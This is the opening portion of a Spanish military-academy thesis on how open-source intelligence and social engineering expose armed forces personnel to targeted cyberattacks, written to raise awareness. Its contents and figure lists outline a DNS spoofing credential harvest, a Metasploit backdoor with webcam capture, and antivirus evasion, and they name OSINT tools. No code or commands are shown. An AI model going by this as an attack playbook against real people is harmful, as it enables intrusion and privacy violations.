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RESUMEN

La falta de concienciacién y sensibilidad en la informacion vertida a la red por los integrantes de las
FAS ha situado al personal militar como eslabon mas debil en la cadena de tecnologizacion de los
ejércitos modernos. En este TFG se demuestran estas vulnerabilidades a través de la informacion
obtenida de fuentes abiertas, sensible y susceptible de ser empleada para la ejecucion de ciberataques
dirigidos sobre el personal de las FAS. Ademas, se muestra la importancia de la ingenieria social como
elemento base en la realizacion de ciberataques. La exposicién finaliza con conclusiones que sirvan de
ayuda al personal de las FAS en la reduccion del vertido de informacién a la red.

PALABRAS CLAVE

Ingenieria social, OSINT, ciberataque, Fuerzas Armadas (FAS), Fuentes abiertas, malware






AGRADECIMIENTOS

En especial agradecimiento a J.A.D. y E.P.M. personal del CIFAS (Centro de Inteligencia de las
Fuerzas Armadas) por su desinteresado apoyo y ayuda.

En agradecimiento a mi tutor, por animarme y orientarme durante el presente trabajo.

En agradecimiento al Capitan de Corbeta A.F.Q. por su apoyo y ayuda desinteresada.

En agradecimiento a mi familia y novia por apoyarme en este proyecto y en los acontecidos durante
estos ultimos cinco afios.

Por ultimo, agradecer a mi compafiero y amigo J.G.C. el haber sido sufridor de un ataque y darme
permiso para plasmarlo en el presente trabajo.






AMENAZAS AL PERSONAL DE LAS FAS POR MEDIO DE LA INGENIERIA SOCIAL, MEDIANTE CIBERATAQUES
DIRIGIDOS, UTILIZANDO INFORMACION ADQUIRIDA DE FUENTES ABIERTAS Y REDES SOCIALES

CONTENIDO

[070] 01 (=] 01 [ [0 OSSP P TR PRPRRPPPR 1
INAICE 8 FIGUIAS ....e.ecveecesee ettt tss sttt ens et sn et s et s st n st ns s s 3
INAICE 8 TADIAS........vecveveicereicee ettt ettt s ettt s et e et ten et ns s 7
1 INtrodUCCION Y ODJELIVOS ...ttt e e e steeneesra e aeaneenres 9
I o TS - T o SRS 9
A Y o] (A V- Tox o] o ST RORPSRRRR 9
1.3 ODJBEIVOS ...ttt bbbtk b bbbt 11
1.4 EStructuracion de 12 MEMOTIA ......voueiiiieieieiieesee et 11

2 ESTA00 GBI AITE ...ttt bbbt 13
2.1 IntroducCiOn del @PArtAdO. .........coveiiirieieeree e 13
2.2 INQENIEITA SOCIAL ......veeii e et e e e re e reenre e 13
2.2.1 Concepto de iNgeNieria SOCIAL.........ccuieiiiiiiie e 13
2.2.2 Ingenieria social COMO CIDEIAIMIA........cccueiuiiieie e 14
2.2.3 PrinCipales VECLOreS 08 atAQUE ...........eieiuiriiiieieieie sttt 15
2.2.4 Herramientas para un ataque de ingenieria SOCial ............cccccovveviiiiiieii e, 16

2.3 OSINT ittt r b bbbt et er e b e a et be et et neebe et e s ereete st enears 19

P N R O 1 Tor=T o] (o I [T @ 5 | N N OSSPSR 19
2.3.2 Nacimiento de OSINT como método de obtencion de informacion ... 20
2.3.3 Métodos y herramientas de OBtENCION ............ccooovviiiiicce e, 21
2.3.4 Informacion obtenida POr OSINT ......coiiiiiieee e 26

2.4 REUABS SOCIAIES ...ttt ettt bbbt s e s et e e st e besbe e b e e neene e e s 27
2.4.1 Introduccion a 1as redes SOCIAIES...........cciveiuiiieiiee e 27
2.4.2 Plataformas ULTHZAOAS ........cueiiiiieie i ettt 27
2.4.3 Organizaciones terroristas en redes SOCIAIES. ..o 33
2.4.4 Infoxicacion, privacidad y Seguridad............ccccveviiiieiiiie e 35

2.5 Personal de las FAS como victimas de CIDerataqueS ...........cccoovverininieieic e 36

3 Desarrollo el TG ..o 37
3.1 Obtencion de 12 INFOrMACION ........cc.oiiiiii e 37
3.1.1 ENQafio €N 12 CONEXION .......cuiiieiieieeee sttt sbe e sna e teeneenneenne e 37
3.1.2 Realizacion del “DNS Spoofing” ......ccccoeiiiiiiiiiiiieieei e 39
3.1.3 ;Por qué no hacer “DNS Spoofing” en la red de Defensa?..........ccccovvvviiiiiiiiiiiiiiiinnns 42

3.2 CEL SUJELO™ .ttt ittt 43
3.2.1 Adquisicion de informacion del SUJELO .........cvevveieeieiieie e 43

1



ALVARO ANDRES DE LA CUADRA

3.2.2 Informacion del sujeto utilizando herramientas de OSINT ........ccccceoveiiiiiecicve e, 44

3.3 Estudio del entorn0 del SUJBTO .........oviiiiiiiiiiiieieee e 49
KT 00 S T T2 o T OSSP 51
TR T U =) (o 1SS 53
TR I 11 T2 (0 I TSRS 54
3.3.4 Informacion de 0Otros SUJet0S adYACENTES .........ccvieririreriiieese e 54
3.3.5 SUJELO 88 Y SUJELO B9.....ecieeeiiciieiieeie ettt ne e re s 57

3.4 Exploracion fuera del entorno-exploracion en redes SOCIales..........cccoovvereinencicinc e 59
3.4.1 EXploracion en redes SOCIAIES ..........ccueieeiiiiieie e 60
3.4.2 Utilizacion de herramientaS OSINT ......cvoioiiiiieiice e 65

3.5 Ejemplo de ingenieria social Y CIDEratagUE. ..........cccveiveiiiiieiieeie e 71
3.5.1 Creacion de una necesidad €N el SUJELO .........ccoeiiireinieneieesese e 71
3.5.2 Creacion de un ciberataque dirigido .........ccccoveiieiiiiieiiece e 71

4 Interpretacion de 10S FESUITAUOS .......cc.veviiieiieeie sttt e st sre e sreesaeeneenren 83
4.1 Justificacion del ProCes SEGUITO...........ouiiiriieeiie e 83
4.2 Grados de proteccion en redes SOCIAIES..........ccveviiie it 84
4.3 Andlisis segun los estandares OTAN para las valoraciones TESSCO ........c.cccccvevveveveriennn. 84
4.3.1 SUJELO INICTAL ....c.veeieeie ettt e e e eesreenbeennenres 84
A.3.2 SUJBEO L ..ottt bbb bbbt 85
e BT U =1 (o OSSR RPRSPUSURRRIS 86
A.3.4 SUJBEO 3 ..ottt b bbbt bbbt e e 87
4.3.5 SUJELOS AUYACENTES .....vevieveeieetie sttt sttt e et e et e ste b e be e s beetessaesteebeeneesreesaeennenreas 87
TV =1 (o TN 1 PSPPSR 88

4.4 JUStifiCaCiON A&l MAIWAIE...........ciiiiieie ettt 89
4.5 Analisis del personal de las FAS en redes SOCIAIES..........ccveivereiieieeiece e 90

5 CoNnClUSIONES Y 1INEAS TULUIAS ......oviiiiiiiiieieie et 93
5.1 CoNCIUSIONES JENEIAIES ......ocuviiiiie ettt e e be et eeraesnraens 93
5.2 LINBAS TULUIAS .....veeceieie ettt ettt e e st e e e e s e te et e eneenneesteeneeaneenseans 94

B BIDIIOGIATIA. ... .eveiiiiiecie bbb 95
ANEXO |: GlOSArIO U8 TEIMINOS ....evveieeeie ettt et e e st e sre e esreesbeeseesseeseeeneesseenseens 101
ANEXO 11 EJEMPIOS FEAIES ... 103



AMENAZAS AL PERSONAL DE LAS FAS POR MEDIO DE LA INGENIERIA SOCIAL, MEDIANTE CIBERATAQUES
DIRIGIDOS, UTILIZANDO INFORMACION ADQUIRIDA DE FUENTES ABIERTAS Y REDES SOCIALES

INDICE DE FIGURAS

Figura 2-1 Herramienta SET (Social Engineering TOOIKit). .........ccccooiiieiiiicii e, 17
Figura 2-2 MenU PrinCIPal.........cocoiiiiiiiieee ettt 17
Figura 2-3 Ciclo de a inteligencia [16]........ccviieiiiieiieir et 19
Figura 2-4 Pilares de la Inteligencia [18]. ......ccooiiiiiiiiiiee e 20
Figura 2-5 FaseS OSINT [19]. ..ooiieiiiie ittt ettt esr e e nreenaeaneenne e 21
Figura 2-6 MenU prinCipal de MaltegO0. ........couiiieiiiie et 22
FIgura 2-7 INterfaz FOCA. ...ttt be et e e e s reenteeneesneenreans 23
Figura 2-8 Funcionalidades de FOCA........coo i 23
Figura 2-9 Uso de G00gIe DOKS [18]......ccvioiiiieie ettt ne e 24
Figura 2-10 Ejemplo GOOGIE DOTKS. ......ccueiiiiriiiieiiisiieieeie et 24
Figura 2-11 Ejemplo 10calizaCion CON CrEEPY. ...ccvviieiieiieeiieeie st esie st sre et ste e sraesre e enre e 25
Figura 2-12 Interfaz de ThEHAIVESTET. .......ooviiiiie e 25
Figura 2-13 Logotipo de FACEhOOK [35]......ccviiiieiicieiieiie ettt 28
Figura 2-14 Logotipo de TWILEEr [42]. ....ceoiiiieieieeeeee et 29
Figura 2-15 Logotipo de INStagram [A7]. .....coeoeeieie ettt 30
Figura 2-16 Logotipo de LinKedIn [50]......cceoiiiiiiiiiiiiieie e 31
Figura 2-17 Logotipo de WhatSAPP [58]. ...ccveiieiiiie ittt 32
Figura 2-18 Captura de pantalla del “hackeo” del CENTCOM [66]. .......ccevurrverineneniniinieienieens 34
Figura 3-1 Tabla de CONEXIONES @NLES. ......c.ecviiiieiiecie ettt ettt sre e sre e sreenre e 37
Figura 3-2 Tabla de CONEXIONES UESPUES. .......ccuiiueieieeieieieeie ettt 38
Figura 3-3 Usuarios conectados a falsa red. ..........ccceiieieiiiiicieccc e 38
Figura 3-4 Realizacion de un ataque “DNS Spoofing”. ......cccooeiiiiiiiiniiniiiee e 39
Figura 3-5 Pagina de Facebook clonada..............cccooiiiiiiicii i 39
Figura 3-6 Usuarios y contrasefias 0btenidos. ..........cooiiiiieiiiiii i 40
Figura 3-7 Redireccion a PAgINA FEAL............cc.coieiiiie et 40
Figura 3-8 Configuracion de “EteICaP”. ......cocverveririririeieierie sttt sttt 41
Figura 3-9 Acceso de prueba a la pagina de Faitic [71]......c.ccoooveiiiiiiiececcceee e, 41
Figura 3-10 Resultado SODIE FAITIC..........couiiiiiiiiiiiiisieee e 42
Figura 3-11 Probando con “tInYUTI”. .......ccooiiiiiiiiiiiii e 42
Figura 3-12 Correo interceptado a UNa VICTIMA. ......cc.eiveeiieieiieieeie e 43
Figura 3-13 Texto original del COMEO. ........ooiiiiiiiie e et 44
Figura 3-14 Exploracion entorno al SUJETO. .......c.ccveieiieiiiie e 44
Figura 3-15 Localizador de multas del SUJELO. .......coveieriiiiiiieeec e 45

3



ALVARO ANDRES DE LA CUADRA

Figura 3-16 Ejemplo de multa falsa al SUJELO. .........ccveieeiieiiiieceece e 46
Figura 3-17 Exploracion entorno a la IP del COITEO. .......coucuiiiiiiiiiiciccreee e, 47
Figura 3-18 Conversacion "fOroCUIE™ [72]. .....cciecveieiie et 48
Figura 3-19 Estructura red de DefeNnSa. ........cc.oiieiiiieiieiiee et 48
Figura 3-20 Entorno militar del Sujeto de eStUIO. .........cccvevveiieiieii i 50
Figura 3-21 Entorno militar del sujeto de eStUdIO. .........c.ooveiiiiiiiiiiiiiee e 50
Figura 3-22 Ejemplo iNdECOr0S0O SUJELO L.....c..ciieiiieieiieiie sttt nne e 51
Figura 3-23 Rasgos faciales y pre vuelo del SUJEtO 1. ..o 52
Figura 3-24 Plataformas desde 1as que Se USa TWILLET. ..........cceeveiieiiieiiere e, 52
Figura 3-25 Fotografia de perfil de FACEDOOK. .........c.ccoieiiiiiiiireee e 53
Figura 3-26 Fotografia de portada de Facebook (nacional SECreto). .........cccvvvvverveieeveeseeie s, 53
Figura 3-27 Derrota de su buque publicada en Facebook. .............ccocvviiiiiiiinineen, 54
Figura 3-28 Fotografia obtenida del Facebook del SUJELO. ..........cccviieiieiciiccecce e, 55
Figura 3-29 Pase de la Base Naval 08 ROA. ..........ccccuiiriiieiiiic e 55
Figura 3-30 ComeNntarios 8N AMAZON..........ccueieeiieaieieeieesresteesteesteseesseesresseesseesseeeesseesseeseesseesseans 56
Figura 3-31 COMENLArios N AMAZON......c..ciuiiuiriiiieitiaieeieeeee ettt sttt seesbe st b sre s aneeeennes 56
Figura 3-32 Direccidn de [a VIVIENTA. ..........cccoveiiii e 57
Figura 3-33 Exploracion del sujeto 88 a traves de Maltego. ..........ccoevvriieieeiiiieiec e, 58
Figura 3-34 Exploracion del sujeto 69 a través de Maltego. .........ccccevvevveieiicieece e, 58
Figura 3-35 Presentacion del sujeto 69 en LinkedIn. ..........ccooiiiiiniiiiiinnse e, 59
Figura 3-36 Fotografias obtenidas a través de Facebook del teniente piloto junto con la avidnica de
F-18 y apaga incendios en SEgUNCO TUGAT. .......cuiiiiiiiieii e 60
Figura 3-37 Fotografias de avionica de helicdptero y avidon F-18 en bunker de espera................... 60
Figura 3-38 Piloto con personal civil en cabina de uso militar. ...........ccccooeviiineiinnieeee, 61
Figura 3-39 Cabina de Un C-130. .....ccoiiiiiiiie ettt 62
Figura 3-40 Fotografias obtenidas a través del Instagram del piloto. .........ccccooeviiiiiiiiiciiieen, 62
Figura 3-41 Fotografias tomadas desde movil del piloto despegando en solitario. ......................... 63
Figura 3-42 Fotografia del piloto Junto @ SU AVION. ........ccieiiriiiirieiiesiesieeeee e 63
Figura 3-43 Fotografia obtenida a través de Instagram de las maniobras del tirador. ..................... 63
Figura 3-44 Diploma tirador SEIECTO. ........oiiiuiriiiiiiiisieee e 64
Figura 3-45 Perfil del miembro del CNI. ..o 64
Figura 3-46 Creepy SODIe CartagBNa. .....cc.civeiuerierieriisiesiieieee ettt sttt 65
Figura 3-47 Tuit del SUJELO @ BSTUTIO. ......eeiviiieiiieieeie ettt ae e 65
Figura 3-48 Confirmacion de identidad mediante INStagram. ........cccccevivereeiieseene e se e 66
Figura 3-49 INformacion del SUJELO. ........ccueieieiiiiiicisieiee et 66
Figura 3-50 Patrdn de MOVIMIENTO. ......cueiiieieieiesi ettt 66



AMENAZAS AL PERSONAL DE LAS FAS POR MEDIO DE LA INGENIERIA SOCIAL, MEDIANTE CIBERATAQUES
DIRIGIDOS, UTILIZANDO INFORMACION ADQUIRIDA DE FUENTES ABIERTAS Y REDES SOCIALES

Figura 3-51 MAximos puntos de €MISION. .......c.cuecviieiieie et sre e sneenre e 67
Figura 3-52 Vivienda desde donde se envian los tuits y gimnasio del sujeto. ..........cccovevvevvevierinnnn, 67
Figura 3-53 Ejemplo de imagen N DIOPDOX. .....ccvcieiieiireiieiieseese st 68
Figura 3-54 Datos a destacar de 1a eXIraCCION. .........cccieieierierieie e 68
Figura 3-55 Geolocalizacion destacable.............cccviiiiiiiiicicce e 68
Figura 3-56 Ejemplo de fichero extraido por Google DOrKS...........ccccouiiiiieiieieine e, 69
Figura 3-57 Ejemplo de cuentas extraidas por Google DOrKS...........ccccovveveiiieieene i, 69
Figura 3-58 Ejemplo 2 de cuentas extraidas por Google DOrKS...........cccooeveiienniinicneneceseeen, 70
Figura 3-59 Insercion en cuenta de Twitter extraida por Google DOrks. .........ccccccveeeieeiecciesienenn, 70
Figura 3-60 Im&genes extraidas por GO0OgIe DOTKS...........ccccoiiiriniiiiienese e, 71
Figura 3-61 Obtencion de 1a IP en Kali LINUX. .....c.cooiiiiiiiiiiciece e 72
Figura 3-62 Uso de comandos €N Kali LINUX........ccccuuiiiiiiiiieeesseee s 72
Figura 3-63 Apertura de Metasploit en Kali LINUX. .........ccoceiiiiieiiic e 73
Figura 3-64 Uso de comandos dentro de Metasploit...........ccovvvevrireiiinincincscceees e 73
Figura 3-65 Archivo malware subido a DrophoX.........c.cccveviiiiiieii i, 74
Figura 3-66 Captura de pantalla de Virustotal efectuado sobre archivo malware [77].................... 74
Figura 3-67 Apertura de backdoor en terminal. .............cccoooiiiiiieii e 75
Figura 3-68 Backdoor en la maquina OBJELIVO. .........ccccoieiiiiiicee e, 76
Figura 3-69 Accediendo a carpetas del ordenador del 0bjetivo. ........c.cccoeveiiiiieci i, 76
Figura 3-70 Descarga de archivos del ordenador 0BJetivo. ..........ccooviiiiiiiiic e, 77
Figura 3-71 Muestra de la carpeta descargada en NUEStro SIStEMa. ..........ccceevveveeieeieeieese s, 77
Figura 3-72 Captura de los documentos confidenciales descargados. ...........ccccovevireiiniininiienienn, 78
Figura 3-73 Captura de la webcam 0DJEtiVO...........cove i, 78
Figura 3-74 Captura del eSCritorio VICHIMA. .........ccoviviiiiiiieciecceee et 79
Figura 3-75 Creando carpetas en el eSCritorio VICtIMA. ..........ccceerirreieiincrieiniscee e 79
Figura 3-76 Resultado de la creacion de carpetas en el escritorio objetivo. ...........ccceveveeveineeneen, 80
Figura 3-77 Binder ULIIIZAAO. ..........cooiiiiieiee e 80
Figura 3-78 Realizando binder €N arChiVosS. ............coiviiiiiiie i 81
Figura 3-79 Resultado de virus total sobre nuevo archivo [77]. .......ccocvvvviieieneie e 81
Figura A2-1 Integrantes EZAPAC. ......oo ettt sttt ae e nee e ne e 103
Figura A2-2 MisSion en Senegal 2016. ........ccoieiiiiiiiiiieieree et 103
Figura A2-3 Fotografias personales de miembros EZAPAC. ........cccccooeieeiene i, 104
Figura A2-4 Miembro de la legion en AfganiStan...........c.coceieieiieie e 104
Figura A2-5 IMAQgENES PEISONAIES. ....c.veueerieieiieiie ettt sttt sbe st seeseene e e enens 105
Figura A2-6 Iméagenes obtenidas de redes SOCIAIES. ........c.cccveieeieiierice e 105



ALVARO ANDRES DE LA CUADRA

Figura A2-7 Localizacion en Creepy de alumno de la E.IN.M. ... 106
Figura A2-8 Mensaje obtenido a través de CreEPY. .....ooceierieiieirieieesie et 106
Figura A2-9 Imagen compartida en redes SOCIAIES. ........c.ccveiiiieiieiice e 106
Figura A2-10 Muestra de imagen compartida en redes SOCIales. ..........ccoovvererieiieieniie e 107
Figura A2-11 Imagen compartida por Ministerio de Defensa............ccccceevvevviieiievicie e, 107
Figura A2-12 Director del programa de fragatas F-110. .........ccccviiiiiniiniiiieic e, 108
Figura A2-13 Jefe de estaciones radio de [a Armada. ..........cccceeveiieiiiiciiese e 108
Figura A2-14 Perfil piloto de 1a Armada..........c.cooiiiiiiiciei e 109
Figura A2-15 Jefe de seguridad en Base Naval de ROta. ...........ccccoveveiieieeni e 109
Figura A2-16 Oficial de inteligencia de 1a F-105. .........cccooiiiiiiiiiiieecee e 110
Figura A2-17 Capitan en embajada de Kuala LUMPU..........cccooieiiiiiiicieccece e 110
Figura A2-18 Teniente moderno de Infanteria de Marina...........ccocooeovieniinienenesc e 111
Figura A2-19 Teniente moderno de Infanteria de Marina (esStudios).........ccccvevevieeveevieiieeseeseenn, 111
Figura A2-20 Oficial con maletin del Presidente TrUMP. ..o 112



AMENAZAS AL PERSONAL DE LAS FAS POR MEDIO DE LA INGENIERIA SOCIAL, MEDIANTE CIBERATAQUES
DIRIGIDOS, UTILIZANDO INFORMACION ADQUIRIDA DE FUENTES ABIERTAS Y REDES SOCIALES

INDICE DE TABLAS

Tabla 4-1 Grados de proteccion en redes SOCIAIES. ..........ccveiveiieiiieie e 84
Tabla 4-2 SUJELO TNICIAL ....eoiveiiiee e et sbe e aesneenreas 85
LI L] N e BT U =1 (o USSP 85
TADIA 4-4 SUJELO 2. ..ttt 86
LI Lo R R R T U =1 (o T USROS 87
Tabla 4-6 DiStiNt0S SUJETOS VISTOS. .....ccuviveeiierieitiiiis sttt sttt 88
Tabla 4-7 SUJELO B89, ....eciiieieiiiecie ettt ettt e et et e st e e e e reesaeesreenreare e aeeneenren 89
Tabla 4-8 Andlisis de las redes sociales en [as FAS.........cooi i 91



ALVARO ANDRES DE LA CUADRA




AMENAZAS AL PERSONAL DE LAS FAS POR MEDIO DE LA INGENIERIA SOCIAL, MEDIANTE CIBERATAQUES
DIRIGIDOS, UTILIZANDO INFORMACION ADQUIRIDA DE FUENTES ABIERTAS Y REDES SOCIALES

1 INTRODUCCION Y OBJETIVOS

1.1 Presentacion

Con el paso del tiempo y el desarrollo de las tecnologias, los conflictos del mundo moderno han
tomado un cariz distinto: desde las grandes guerras de comienzo de siglo XX hasta las guerras
actuales, el cambio ha sido significativo. El factor humano? sigue teniendo importancia, pero revestido
de una importante componente tecnologica. Frente a esto, cobra importancia el axioma de “bajas
cero”? a la vez que se va imponiendo con cada vez mas fuerza la cuestion: “;Sera posible continuar

atacando a un enemigo reduciendo mis bajas al maximo?”.

Es de esta forma cuando en el siglo XXI nace la ciberguerra, y con ella los ciberataques®. Habra
una evolucion en los objetivos. Se pasa de batir personas a batir infraestructuras criticas, entendiéndose
por infraestructuras criticas aquellas a las que esta supeditada la economia de un pais. Todas ellas, hoy
en dia, equipadas con las ultimas tecnologias, y de una u otra forma interconectadas.

Es con esa interconexién cuando llegan las vulnerabilidades, de carécter técnico y humano. En este
trabajo se demuestra como este factor humano es una puerta de entrada al sistema global, como se
constituye en un vector de ataque a las mismas y como la falta de mentalizacion del mismo es una
garantia del fracaso.

1.2 Motivacion

Hemos podido observar como las principales infraestructuras, objetivos potenciales, han
desarrollado sus mecanismos de defensa, instalando medidas de seguridad tecnoldgica practicamente
infranqueables. Pero, ¢se ha tenido en cuenta el factor humano? Este trabajo no esta dirigido a evaluar
los parametros de seguridad de las infraestructuras criticas, sino que se centra en demostrar que,
independientemente de todos los parametros de seguridad establecidos, es el hombre, a través de su
falta de conocimiento, formacion, asi como motivacion, el que puede constituir lo que hoy se
denomina “puerta trasera” para alguien que ataque nuestra red de instalaciones, con los problemas

L Término que hace referencia al humano como herramienta en si misma.

2 Término que hacer referencia a no sufrir ninguna baja durante el desarrollo de una contienda.

3 Neologismo que hace referencia a la guerra llevada a cabo a través de la red.

4 Neologismo que hace referencia a los ataques sufridos a través de una plataforma cibernética.
9
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afiadidos de seguridad (personas e instalaciones) que acarrea, tanto para las FAS® como para los
entornos familiares.

En la actualidad hay un gran volumen de informacion circulando. A mucha de ella no se le presta
una atencion o cuidado adecuado. Es por ello que la gran mayoria de los ataques de ingenieria social
estan basados en técnicas OSINT® (Open Source Intellingence). Aungue creamos que estamos
protegidos, muchos de nuestros datos e informacion son de dominio y acceso publico, como por
ejemplo: cuentas de correo, cuentas de Skype, DNI, lugares de residencia o incluso nuestra
localizacion actual. Este trabajo demuestra que se puede acceder a dichos datos mediante el empleo de
motores de blsqueda y herramientas adecuadas o mediante la exploracion de los metadatos’ implicitos
a las informaciones.

Aunque pensemos gque podemaos vivir de forma andnima, siempre que estemos conectados a la red,
de manera directa o indirecta, se pierde la condicion de “an6nimo”. Siempre que empleemos un
teléfono movil Android, 10S o similar se pierde el “anonimato”. Siempre que usemos una red social,
aunque solo se tenga a usuarios conocidos, perdemos la condicion de “andénimo”. Siempre que usemos
un correo perdemos de nuevo nuestro “anonimato”.

¢Es realmente el anonimato un factor importante en nuestra vida? En las Fuerzas Armadas, a
medida que se adquieren responsabilidades, se convierte en lo que la OTAN® denomina un objetivo
potencial. El paradigma de nuestra sociedad estad en que si quieres pertenecer a la misma y quieres
verte inmerso en ella has de formar parte de “la red”. Esto lleva asociado un desprendimiento de la
seguridad personal, y, lo que es peor, de la institucion (en este caso las FAS) y, en muchos casos, la
familiar y la de allegados.

Por todo esto, una de las conclusiones de este trabajo es la de optar por el “anonimato social” a
medida que se asciende en el escalafén, siempre con el fin de buscar el bien de la organizacion y
seguridad de los nuestros.

Con el objetivo de demostrar la valia 0 necesidad de ese anonimato, a lo largo de este trabajo se
realizan investigaciones (tomando como base informacion accesible para cualquier ciudadano), cuyos
resultados pueden emplearse contra el sujeto en particular o contra el colectivo de las FAS;
entendiendo como tal: instalaciones, personal o la imagen de las FAS y de sus integrantes, sin
olvidarnos de familiares o allegados. Podriamos tomar como base de partida la frase de la escritora
C.J. Cherryh:

“El comercio no trata sobre mercancias, trata sobre informacion. Las mercancias se sientan en el
almacen hasta que la informacion las mueve.”

Somos informacion, la cantidad o calidad de la misma nuestra valia, pero la conclusién es que
somos informacion. Se ha de tratar de cuidar hasta qué punto, si somos informacion, somos asequibles
a aquellos que puedan actuar en contra de nosotros como individuos y en contra de las FAS.

Con todo ello se demuestra que el factor humano es el eslabon méas débil de la cadena, el punto a
partir del cual comienzan los ataques al sistema mediante la obtencién de informacion asociada al
mismo, siendo de nuevo la persona el centro del sistema. Por ello, es la necesidad de que los
componentes del sistema se sientan parte del mismo (mediante su formacion) lo que puede ser el
origen del fracaso.

Independientemente de la diferencia de siglos, ¢son tan diferentes unas FAS del siglo XXI
respecto a los ejércitos de Esparta? La respuesta es solo la diferencia de tecnologia, que pasa de
técnicas en las que se combinan lanza/escudo a las del siglo XXI, en las cuales se combinan

5 Fuerzas Armadas.
® Procedimiento de obtencidn de inteligencia a través de fuentes abiertas.
7 Conjunto de datos contenido dentro de un archivo.
8 Organizacion del Tratado del Atlantico Norte.
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ciberataques con ataques selectivos. El factor humano sigue siendo el mismo: formacion, motivacion y
el espiritu de unidad.

1.3 Objetivos

Durante el desarrollo de este trabajo, se describe la cantidad de informacion que, asociada a los
miembros de las FAS, se cataloga como sensible y que, como tal, puede emplearse para la ejecucion de
ciberataques. Estos mismos podrian lanzarse sobre su persona o sobre el colectivo de las FAS. Para
ello, se ha empleado exclusivamente informacion de la red (OSINT):

Paginas web como Shodan, Namechk, Tineye, Pipl, Tagboard, etc.

Redes sociales como Facebook, Twitter, Instagram o LinkedIn, entre otras.
Datos multimedia con sus respectivos metadatos.

Foros, blogs, etc.

Software® como FOCA, Maltego, Exiftool, etc.

El trabajo muestra distintas formas de realizar ciberataques, apoyados todos ellos en técnicas de
ingenieria social accesibles en la red y en la informacién existente en la misma red. Se realiza un
analisis de redes sociales en las que participa el personal de las FAS, que puede ser explotar cualquier
individuo con acceso a la red. Del mismo modo se muestran las maneras mas simples (no por ello
eficientes) de articular un ataque. Por ultimo, se indican procedimientos para evitarlo.

Por Gltimo, se resalta la importancia que tiene hoy en dia la concienciacion y sensibilizacion de los
miembros de las FAS. Lo importante es no verter en la red “informacion innecesaria” y destacar las
consecuencias nefastas que pueden darse sobre la seguridad.

1.4 Estructuracion de la memoria
Este trabajo fin de grado consta de 6 capitulos y 2 anexos.

e En el capitulo 2 se analiza, tras una breve introduccion general, el concepto de ingenieria
social. Sobre este concepto se destacan los principales vectores de ataque, asi como las
principales herramientas con las que se contaria en la red para la realizacion de un ataque
de ingenieria social. En este capitulo se tratan distintos ejemplos que se han dado en la
actualidad y se profundiza en el concepto de inteligencia de fuentes abiertas (OSINT) y en
los métodos y procedimientos que lleva asociado. Continua el capitulo con un analisis
(desde punto de vista privacidad y la seguridad) de las redes sociales y en la repercusion
que su empleo tiene sobre personal de las FAS, citando algunos ejemplos. Se concluye el
capitulo 2 mostrando la vulnerabilidad potencial del personal de las FAS a sufrir un
ciberataque.

e En el capitulo 3 se presenta el proceso mediante el cual se obtiene la informacion empleada
en el trabajo y las distintas formas de acceder a ella. Ademas, durante el capitulo se lleva a
cabo la eleccion de un sujeto de partida, se justifica su eleccion y se procede a la obtencion
de informacion de los sujetos adyacentes. Una vez obtenida dicha informacion, se eligen
los que pudiéramos considerar como “principales”, estudiandose sus vulnerabilidades. En
este capitulo se presentan las redes sociales como repositorios de informacion, asi como el
empleo de determinadas herramientas (todas ellas en la red) para aumentar la cantidad y
calidad de la informacion obtenida y las corroboraciones (contrastar informacion para darla

® Conjunto de programas, instrucciones y reglas informaticas para ejecutar ciertas tareas en un ordenador.
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como valida). Finaliza el capitulo mostrando un ataque sobre un sujeto objetivo,
empleando para el mismo herramientas y conocimientos expuestos en el trabajo.

En el capitulo 4 se interpretan los resultados obtenidos en el capitulo anterior. Ademas, se
justifica el proceso seguido. En el capitulo 4 se lleva a cabo un analisis, basado en los
estandares OTAN de las valoraciones de amenaza TESSCO?X (terrorismo, sabotaje,
subversion y crimen organizado) de los distintos sujetos obtenidos, de forma que se pueda
ver la repercusion de la informacion obtenida en la red. Para finalizar el capitulo, se lleva a
cabo una justificacion del malware!! empleado y el motivo de la eleccion del mismo.

En el capitulo 5 se exponen las conclusiones obtenidas en el trabajo, se presentan los
puntos débiles a mejorar y se realiza una breve valoracion sobre la presencia del personal
de las FAS en las distintas redes sociales. Se completa el capitulo con la exposicion de
posibles lineas futuras de trabajo y que pueden contribuir a la sensibilizacion del personal
de las FAS.

Para finalizar el TFG, se afiaden dos anexos; Anexo |: Glosario de términos, que tratard
sobre los principales términos utilizados y explicados durante el desarrollo de la memoria,
y Anexo IlI: Ejemplos reales, con informacién ampliatoria del TFG con mas ejemplos
reales.

10 valoraciones que hacen referencia a las posibles amenazas surgidas del terrorismo, espionaje, subversion, sabotaje y
crimen organizado.
1 Abreviatura de “software malicioso”, se define como un software destinado a acceder a un dispositivo de forma

inadvertida.
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2 ESTADO DEL ARTE

2.1 Introduccién del apartado

En este capitulo se expone de donde nace el concepto de ingenieria social, cual es su historia y su
relacion con los ciberataques dirigidos, sobre lo que se apoya un ataque de ingenieria social (OSINT),
cdémo se relaciona la obtencion de informacion con los ciberataques, las distintas medidas defensivas
con las gque cuentan las fuentes para protegerse en el ambito de privacidad y obtencion de informacion,
asi como afectan hoy en dia dichos conceptos a Espafia y, en particular, a las FAS.

Se expone como ha afectado el desarrollo de la ingenieria social para la creacién de unidades u
organizaciones dedicadas a la ciberdefensa, asi como que clases de normativas internas existentes
dentro de las FAS que regulan el vertido de informacion sensible. Tomando como base todo lo
anterior, sefialamos a qué clases de ataques son mas susceptibles los miembros de las FAS, tomando en
la mayoria de los casos como vector de ataque las redes sociales.

2.2 Ingenieria social

2.2.1 Concepto de ingenieria social

Se define “ingenieria social” como un conjunto de habilidades entre las que se incluye la
manipulacion de otros usuarios con el fin de obtener informacion no necesariamente confidencial, pero
si en la mayoria de los casos de caracter reservado ya que su conocimiento puede ser dafiino para un
usuario u organizacion. Se basa en los siguientes principios [1]:

Reciprocidad.
Urgencia.
Consistencia.
Confianza.
Autoridad.
Validacién social.
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Segun uno de los ingenieros sociales mas famosos, cuyo historial de ciberdelitos*? basados en la
ingenieria social le hizo ser perseguido por la justicia estadounidense, el hacker Kevin Mitnick expone
que los pilares béasicos para cualquier ataque de ingenieria social son [2]:

Las ganas del ser humano por sentirse Gtil y ayudar.
La confianza hacia el otro.

Que a todo el mundo le encanta sentirse alabado.
Que no nos gusta decir que no.

2.2.2 Ingenieria social como ciberarma®?

Mucho antes del auge de Internet, existian los ataques de ingenieria social. Aunque su componente
no fuera cibernético, muchos “ingenieros sociales” habian materializado sus ataques, en el mejor de los
casos llamados “timos”. Destacamos timos como la venta de la Torre Eiffel y el timo del entierro que
consistia en engafiar a una persona haciéndole creer que se necesitaba dinero para enterrar a un
